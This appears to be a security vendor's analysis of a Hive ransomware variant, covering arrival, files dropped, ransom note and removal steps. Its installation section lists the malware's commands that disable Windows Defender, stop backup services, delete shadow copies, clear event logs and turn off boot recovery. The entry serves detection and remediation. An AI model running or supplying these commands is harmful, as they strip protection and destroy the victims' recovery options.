Ransom.Win64.HIVE.YXBL1

 Analysis by: Khristian Joseph Morales

 ALIASES:

Ransom:Win64/Hive.ZZ (MICROSOFT)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Ransomware

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It drops files as ransom note.

  TECHNICAL DETAILS

File Size:

4,202,496 bytes

File Type:

EXE

Memory Resident:

No

Initial Samples Received Date:

28 Dec 2021

Arrival Details

This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Ransomware drops the following files:

  • {Drive}\{random string}_.key.6ygpf

It adds the following processes:

  • net.exe stop "NetMsmqActivator" /y
  • net.exe stop "SamSs" /y
  • net.exe stop "SDRSVC" /y
  • net.exe stop "SstpSvc" /y
  • net.exe stop "UI0Detect" /y
  • net.exe stop "vmvss" /y
  • net.exe stop "VMware Physical Disk Helper Service" /y
  • net.exe stop "VMwareCAFCommAmqpListener" /y
  • net.exe stop "VMwareCAFManagementAgentHost" /y
  • net.exe stop "VSS" /y
  • net.exe stop "wbengine" /y
  • net.exe stop "WebClient" /y
  • sc.exe config "NetMsmqActivator" start= disabled
  • sc.exe config "SamSs" start= disabled
  • sc.exe config "SDRSVC" start= disabled
  • sc.exe config "SstpSvc" start= disabled
  • sc.exe config "UI0Detect" start= disabled
  • sc.exe config "vmvss" start= disabled
  • sc.exe config "VMware Physical Disk Helper Service" start= disabled
  • sc.exe config "VMwareCAFCommAmqpListener" start= disabled
  • sc.exe config "VMwareCAFManagementAgentHost" start= disabled
  • sc.exe config "VSS" start= disabled
  • sc.exe config "wbengine" start= disabled
  • sc.exe config "WebClient" start= disabled
  • reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
  • reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
  • reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
  • reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
  • reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
  • reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
  • reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
  • reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
  • reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
  • reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
  • reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
  • reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
  • reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
  • reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
  • reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
  • reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
  • schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
  • schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
  • schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
  • schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
  • schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
  • reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
  • reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
  • reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
  • reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
  • reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
  • reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
  • reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
  • reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
  • reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
  • reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
  • reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
  • reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
  • vssadmin.exe delete shadows /all /quiet
  • wevtutil.exe cl system
  • wevtutil.exe cl security
  • wevtutil.exe cl application
  • wmic.exe SHADOWCOPY /nointeractive
  • wmic.exe shadowcopy delete
  • bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
  • bcdedit.exe /set {default} recoveryenabled no
  • cmd.exe /c "%Program Files%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
  • cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
  • cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
  • notepad.exe {Drive}\LdBi_HOW_TO_DECRYPT.txt
  • cmd.exe /D /C ping.exe -n 5 127.0.0.1 && del "{Malware Path}\{Malware File name}"

(Note: %Program Files% is the default Program Files folder, usually C:\Program Files in Windows 2000(32-bit), Server 2003(32-bit), XP, Vista(64-bit), 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit) , or C:\Program Files (x86) in Windows XP(64-bit), Vista(64-bit), 7(64-bit), 8(64-bit), 8.1(64-bit), 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Other Details

This Ransomware does the following:

  • It deletes shadow copies.

Ransomware Routine

This Ransomware appends the following extension to the file name of the encrypted files:

  • .{random string}.6ygpf

It drops the following file(s) as ransom note:

  • {Encrypted Directory}\LdBi_HOW_TO_DECRYPT.txt

  SOLUTION

Minimum Scan Engine:

9.800

FIRST VSAPI PATTERN FILE:

17.278.08

FIRST VSAPI PATTERN DATE:

27 Dec 2021

VSAPI OPR PATTERN File:

17.279.00

VSAPI OPR PATTERN Date:

28 Dec 2021

Step 1

Trend Micro Predictive Machine Learning detects and blocks malware at the first sign of its existence, before it executes on your system. When enabled, your Trend Micro product detects this malware under the following machine learning name:

     
    • Troj.Win32.TRX.XXPE50FFF051

Step 2

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 3

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 4

Search and delete this file

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • {Drive}\{random string}_.key.6ygpf
  • {Encrypted Directory}\LdBi_HOW_TO_DECRYPT.txt

Step 5

Scan your computer with your Trend Micro product to delete files detected as Ransom.Win64.HIVE.YXBL1. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:

Step 6

Restore encrypted files from backup.


Did this description help? Tell us how we did.